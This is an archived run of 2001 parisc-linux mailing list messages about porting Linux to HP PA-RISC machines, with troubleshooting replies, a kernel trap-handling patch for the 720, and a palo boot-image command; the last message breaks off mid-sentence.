X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Sat, 29 Sep 2001 13:10:17 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010929131017.L5051@linuxcare.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F1@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620538 26672 80.91.229.3 (22 Nov 2014 01:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:18 +0000 (UTC)
Cc: 'Richard Allen' <ra@hp.is>, parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 06:12:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id C644849F6
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 06:12:09 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B1B07B00C; Sat, 29 Sep 2001 13:10:17 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F1@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Fri, Sep 28, 2001 at 02:02:09PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:12367

On Fri, Sep 28, 2001 at 02:02:09PM -0500, Neulinger, Nathan wrote:
> Ah, thanks!... wonder why it got enabled since I told it no on dhcp...
> Weird. (I'm not a debian user, so some of it's ways of doing things are a
> bit odd to me.)

Caused by a broken dhcp-client package.  Should be invoked via ifup/ifdown,
but was also being started via init scripts.  rm /etc/rc?.d/*dhcp-client
(if I rememeber the name right) to fix it.

Richard





From - Thu Nov 08 21:19:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where to get recent parisc kernels w/o building?
Date: Sat, 29 Sep 2001 13:19:22 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010929131921.M5051@linuxcare.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620538 26673 80.91.229.3 (22 Nov 2014 01:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 06:21:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA7374AAE
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 06:21:12 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2FB15B00C; Sat, 29 Sep 2001 13:19:22 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Fri, Sep 28, 2001 at 03:37:57PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:12368

On Fri, Sep 28, 2001 at 03:37:57PM -0500, Neulinger, Nathan wrote:
> Is there any convenient place to grab a 2.4.9 (or more recent) vmlinux for
> parisc-linux other than getting it myself out of cvs? (Don't have a
> functional build environment at the moment.)

Don't know how up to date you want, but

ftp://ftp.de.debian.org/debian/dists/woody/main/disks-hppa/current/32/linux

is 2.4.9 from 2001-09-25

Richard





From - Thu Nov 08 21:19:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 15:23:20 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109291517450.9349-100000@www2.scram.de>
References: <20010929134528.A25612@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620538 26675 80.91.229.3 (22 Nov 2014 01:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 07:23:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06D6A489D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 07:23:30 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8TDNLG23440;
	Sat, 29 Sep 2001 15:23:21 +0200 (CEST)
In-Reply-To: <20010929134528.A25612@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12369

Hi Albert,

> case18 is Jurij's first patch. case11 is his 2nd patch, which I had to
> add in my hand. Then jochen is jochen's additions to that (please check
> that I understood you correctly).

Yes, it's exactly what i meant...

I'm currently re-evaluating the case 18 stuff. Maybe Jurijs proposal about
checking for unaligned access using a decoded opcode might me faster than
dereferencing 3 page tables and having to decode the opcode anyways to
check for read vs write access...

The only question that remains is if the paging code will handle a
recursive trap gracefully (i.e. when the unaligned access emulation code
traps again because of a page fault).

Cheers,
Jochen





From - Thu Nov 08 21:19:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
Date: Sat, 29 Sep 2001 14:24:18 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010929142418.N5051@linuxcare.com>
References: <sbb19d1e.060@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620539 26684 80.91.229.3 (22 Nov 2014 01:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, nick@snowman.net
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 07:26:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50398489D
	for <parisc-linux@parisc-linux.org>; Sat, 29 Sep 2001 07:26:10 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EACC4B00C; Sat, 29 Sep 2001 14:24:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <sbb19d1e.060@ms-zrt1>; from Jurriaan.Kalkman@zrt.nl on Wed, Sep 26, 2001 at 08:56:08AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12370

On Wed, Sep 26, 2001 at 08:56:08AM +0200, Jurriaan Kalkman wrote:
> >My c180 is now happily booting (current CVS kernel), however whenever I
> >try to ls some dirs (no all, this example is from /usr/bin) I get errors
> >along these lines
> >ls: memory exhausted

I had this with 2.4.9, turned out I'd booted a root fs with old libc6
installed.  When I rebooted using a current libc6 the problem went away.

Richard




From - Thu Nov 08 21:19:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cumulative patch for 720
Date: Sat, 29 Sep 2001 09:39:09 -0400
Lines: 146
Approved: news@gmane.org
Message-ID: <200109291339.JAA28860@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620539 26692 80.91.229.3 (22 Nov 2014 01:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 07:39:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80B494872
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 07:39:14 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id JAA28860
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 09:39:09 -0400
Content-ID: <28855.1001770749.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12371

Hi!

I've put together Jochen's patch of trap 18 and patch
for trap 11, corrected according to Matthew's and Jochen's
remarks, which will supposedly make all 720 people very 
happy :-). It compiles, at least.

Jurij

--- linux.orig/arch/parisc/kernel/traps.c       Wed Sep 19 12:02:30 2001
+++ linux/arch/parisc/kernel/traps.c    Sat Sep 29 15:14:18 2001
@@ -46,8 +46,12 @@
 #define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
                         /*  dumped to the console via printk)          */
 
+#define DEBUG_CASE18
+
 void handle_unaligned(struct pt_regs *regs);
 
+unsigned long parisc_acctyp(unsigned long code, unsigned int inst);
+
 static int printbinary(char *buf, unsigned long x, int nbits)
 {
        unsigned long mask = 1UL << (nbits - 1);
@@ -273,6 +277,11 @@
 {
        unsigned long fault_address = 0;
        unsigned long fault_space = 0;
+       int fromcr,togr;
+        unsigned long acc_type;
+        pte_t * pte;
+        pgd_t * pgd;
+        pmd_t * pmd;
        struct siginfo si;
 #ifdef CONFIG_KWDB
        struct save_state ssp;
@@ -322,12 +331,15 @@
                fault_address = regs->ior;
                parisc_terminate("Non access data tlb fault!",regs,code,fault_ad
dress);
 
+       pagefault:
+#ifdef DEBUG_CASE18
+               printk("to pagefault\n");
+#endif
        case 15:
        case 26:
                fault_address = regs->ior;
                fault_space   = regs->isr;
                break;
-
        case 19:
                regs->gr[0] |= PSW_X; /* So we can single-step over the trap */
                /* fall thru */
@@ -363,6 +375,24 @@
                si.si_code = ILL_PRVOPC;
                goto give_sigill;
        case 11:
+               if(!(regs->iir & 0xfc000000) && (((regs->iir & 0x1fe0)>>5) == 0x
45)) {
+                 /* This is MFCTL instruction */
+                 fromcr = (regs->iir & 0x03e00000)>>21;
+                 togr = (regs->iir & 0x1f);
+                 /* Emulate the instruction if the read is from cr27 */
+                 if(fromcr == 26) {
+                   regs->gr[togr] = mfctl(26);
+                   regs->iaoq[0] = regs->iaoq[1];
+                   regs->iaoq[1] = regs->iaoq[0] + 4;
+                   return; 
+                 } else if (fromcr == 27) {
+                   regs->gr[togr] = mfctl(27);
+                   regs->iaoq[0] = regs->iaoq[1];
+                   regs->iaoq[1] = regs->iaoq[0] + 4;
+                   return;
+                 }
+               }
+               /* Something else is wrong */
                die_if_kernel("Privileged register - shouldn't happen!", regs, c
ode);
                si.si_code = ILL_PRVREG;
        give_sigill:
@@ -415,7 +445,57 @@
                    si.si_addr = (void *) regs->ior;
                force_sig_info(SIGSEGV, &si, current);
                return;
-
+       case 18:
+#ifdef DEBUG_CASE18
+               printk(KERN_DEBUG "got case18 -");
+#endif
+               fault_address = regs->iaoq[0];
+               fault_space = regs->iasq[0];
+               
+               if (in_interrupt() || !(current->mm))
+                 goto pagefault; /* shouldn't happen */
+               /* FIXME: do propper locking here */
+               
+               /* page directory */
+               pgd = pgd_offset(current->mm, fault_address);
+               if (pgd_none(*pgd) || pgd_bad(*pgd))
+                 goto pagefault; /* expandable stack etc */
+               
+               /* middle page directory */
+               pmd = pmd_offset(pgd, fault_address);
+               if (pmd_none(*pmd) || pmd_bad(*pmd))
+                 goto pagefault; /* expandable stack etc */
+               
+               /* page table entry */
+               pte = pte_offset(pmd, fault_address);
+               if (pte_none(*pte))
+                 goto pagefault; /* expandable stack etc */
+               
+               if (!pte_present(*pte)) /* is this test sufficient? */
+                goto pagefault; /* page not loaded */
+              
+               acc_type = parisc_acctyp(code,regs->iir);
+              
+               if ((acc_type & VM_WRITE) && (!(pte_write(*pte))))
+                goto pagefault; /* Write protected access */
+
+               if ((acc_type & VM_READ) && (!(pte_read(*pte))))
+                goto pagefault; /* Read protected access */
+              
+               if ((acc_type & VM_EXEC) && (!(pte_read(*pte))))
+                       goto pagefault; /* Exec protected access */
+              
+               if (!(regs->ior & 3)) {
+#ifdef DEBUG_CASE18
+                printk("spurious? -");
+#endif
+                goto pagefault;
+               }
+               /* fall through to case 28 */
+#ifdef DEBUG_CASE18
+               printk("to unaligned\n");
+               show_regs(regs);
+#endif
        case 28:  /* Unaligned just causes SIGBUS for now */
                handle_unaligned(regs);
 #if 0







From - Thu Nov 08 21:19:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
Date: Sat, 29 Sep 2001 11:17:41 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109291117210.11237-100000@ns>
References: <20010929142418.N5051@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620539 26698 80.91.229.3 (22 Nov 2014 01:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:19 +0000 (UTC)
Cc: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>,
	parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 09:17:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id C021F48B7
	for <parisc-linux@parisc-linux.org>; Sat, 29 Sep 2001 09:17:44 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA23907;
	Sat, 29 Sep 2001 11:17:41 -0400
X-Sender: nick@ns
In-Reply-To: <20010929142418.N5051@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12372

Ok, can you point me to a totally current root image?
	Nick

On Sat, 29 Sep 2001, Richard Hirst wrote:

> On Wed, Sep 26, 2001 at 08:56:08AM +0200, Jurriaan Kalkman wrote:
> > >My c180 is now happily booting (current CVS kernel), however whenever I
> > >try to ls some dirs (no all, this example is from /usr/bin) I get errors
> > >along these lines
> > >ls: memory exhausted
> 
> I had this with 2.4.9, turned out I'd booted a root fs with old libc6
> installed.  When I rebooted using a current libc6 the problem went away.
> 
> Richard
> 





From - Thu Nov 08 21:19:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
Date: Sat, 29 Sep 2001 18:33:49 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010929183349.B25897@dogbert.localdomain>
References: <20010929142418.N5051@linuxcare.com> <Pine.LNX.4.21.0109291117210.11237-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="EuxKj2iCbKjpUGkD"
X-Trace: ger.gmane.org 1416620540 26703 80.91.229.3 (22 Nov 2014 01:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 10:34:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B02634A24
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 10:34:42 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nN4Y-0004Ij-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 18:34:38 +0200
Original-Received: (qmail 18394 invoked from network); 29 Sep 2001 16:34:38 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 16:34:38 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nN3l-0006mK-00; Sat, 29 Sep 2001 18:33:49 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0109291117210.11237-100000@ns>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nN4Y-0004Ij-00*PWEFWuLzJig* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12373

--EuxKj2iCbKjpUGkD
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Make your own:

 palo -f /dev/null -k vmlinux -r root.bin -s lifimage [-b iplboot] \
        -c "0/linux HOME=3D/ root=3D/dev/ram initrd=3D0/ramdisk"

where vmlinux is the a kernel you've compiled from CVS (possibly using
the cross-compiler) and root.bin is the latest Debian hppa bootdisk.
Netboot the resulting lifimage and off you go! :-)

Regards,

Albert

On Sat, 29 Sep 2001, nick@snowman.net wrote:

> Ok, can you point me to a totally current root image?
> 	Nick
>=20
> On Sat, 29 Sep 2001, Richard Hirst wrote:
>=20
> > On Wed, Sep 26, 2001 at 08:56:08AM +0200, Jurriaan Kalkman wrote:
> > > >My c180 is now happily booting (current CVS kernel), however wheneve=
r I
> > > >try to ls some dirs (no all, this example is from /usr/bin) I get er=
rors
> > > >along these lines
> > > >ls: memory exhausted
> >=20
> > I had this with 2.4.9, turned out I'd booted a root fs with old libc6
> > installed.  When I rebooted using a current libc6 the problem went away.
> >=20
> > Richard
> >=20
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

--EuxKj2iCbKjpUGkD
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tffsDg+hOeRZtkMRAi4qAKCLj2FPHXt9xQdJB56qVo94XXvRYQCeIoAM
f9fZ6b7mu5xupZj2Cm8Jwg0=
=shWW
-----END PGP SIGNATURE-----

--EuxKj2iCbKjpUGkD--




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
Date: Sat, 29 Sep 2001 12:38:32 -0400 (EDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109291237460.11237-100000@ns>
References: <20010929183349.B25897@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620540 26707 80.91.229.3 (22 Nov 2014 01:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 10:38:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BCEA4A24
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 10:38:47 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA25104;
	Sat, 29 Sep 2001 12:38:32 -0400
X-Sender: nick@ns
In-Reply-To: <20010929183349.B25897@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12374

I have been rolling my own kernels, however I've been useing nfsroot with
one of the prebuilt tarballs.  Where can I find the latest debian hppa
bootdisks?  ftp.debian.org?  (I havn't noticed them in my debian mirror).
	Nick

On Sat, 29 Sep 2001, Albert Strasheim wrote:

> Hello,
> 
> Make your own:
> 
>  palo -f /dev/null -k vmlinux -r root.bin -s lifimage [-b iplboot] \
>         -c "0/linux HOME=/ root=/dev/ram initrd=0/ramdisk"
> 
> where vmlinux is the a kernel you've compiled from CVS (possibly using
> the cross-compiler) and root.bin is the latest Debian hppa bootdisk.
> Netboot the resulting lifimage and off you go! :-)
> 
> Regards,
> 
> Albert
> 
> On Sat, 29 Sep 2001, nick@snowman.net wrote:
> 
> > Ok, can you point me to a totally current root image?
> > 	Nick
> > 
> > On Sat, 29 Sep 2001, Richard Hirst wrote:
> > 
> > > On Wed, Sep 26, 2001 at 08:56:08AM +0200, Jurriaan Kalkman wrote:
> > > > >My c180 is now happily booting (current CVS kernel), however whenever I
> > > > >try to ls some dirs (no all, this example is from /usr/bin) I get errors
> > > > >along these lines
> > > > >ls: memory exhausted
> > > 
> > > I had this with 2.4.9, turned out I'd booted a root fs with old libc6
> > > installed.  When I rebooted using a current libc6 the problem went away.
> > > 
> > > Richard
> > > 
> > 
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Comments to 2.4.9-pa28
Date: Sat, 29 Sep 2001 19:08:47 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20010929190847.A13532@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620540 26712 80.91.229.3 (22 Nov 2014 01:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 11:09:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (lt200001.hrz.uni-oldenburg.de [134.106.156.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB00148B4
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 11:09:23 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f8TH8lI13717
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 19:08:47 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12375

Hi,

during my stay here in Oldenburg I've got a really nice looking X11 desktop
on a B180 workstation (even colors are looking sane now). While I was
hunting for stifb bugs, the real hard bugs have been in shm handling. The
first one was a problem with flushing the shm page to memory before the
user process uses it. The more annoying one was a mismatch between
shmid_ds from kernel and glibc. Because of that the X server thought it
got passed zero sized shared memory segments from the X clients and
refused to use it. That was the reason for getting really strange pictures,
when using wmaker or enlightenment, which both use MIT-SHM extension very
much. I've changed the kernel representation of shmid_ds, but we could also
change the glibc one. But this would force a recompilation of all programs,
which are using shmctl (.., IPC_STAT, ..).

The change in pgalloc.h isn't the best one, but it served me best for
the moment. The changes in stifb.c fixes the blank function (this caused
the white is blue color problem under X) and added VISUALIZE-EG support
(I'm treating them as a normal artist graphic, which works pretty well).

Greetings from Oldenburg,
Thomas.

PS: If someone wants a testcase, which shows the shm cache flush bug,
either use mm_test from libmm or mail me, I've written a small one.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-atomic __set_bit
Date: Sat, 29 Sep 2001 13:27:19 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <20010929132719.A15266@megatonmonkey.net>
References: <20010924021054.I3025@megatonmonkey.net> <20010929020915.A24794@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620541 26720 80.91.229.3 (22 Nov 2014 01:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:21 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 11:27:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBEB548B4
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 11:27:23 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8THugG04589;
	Sat, 29 Sep 2001 13:56:42 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8THRJk15480;
	Sat, 29 Sep 2001 13:27:19 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010929020915.A24794@dogbert.localdomain>; from fullung@ilink.nis.za on Sat, Sep 29, 2001 at 02:09:15AM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (32% Sync Ratio [===.......])
Xref: news.gmane.org gmane.linux.ports.parisc:12376

> Hello,
> 
> Is this going into CVS any time soon? It seems to work fine on my
> 720/50.
> 
> Regards,
> 
> Albert
> 

Albert,

Have you booted a devfs kernel on you box?
Does it seem to function properly?

Adding devfs to my kernel causes some odd stuff to go on after
trying to enter INIT. Though I haven't had time to sort it out.
The kernel boots fine, but probably one of the startup scripts
is doing something decidedly wrong.

Since you are using init=/bin/sh, and unless you tell devfs
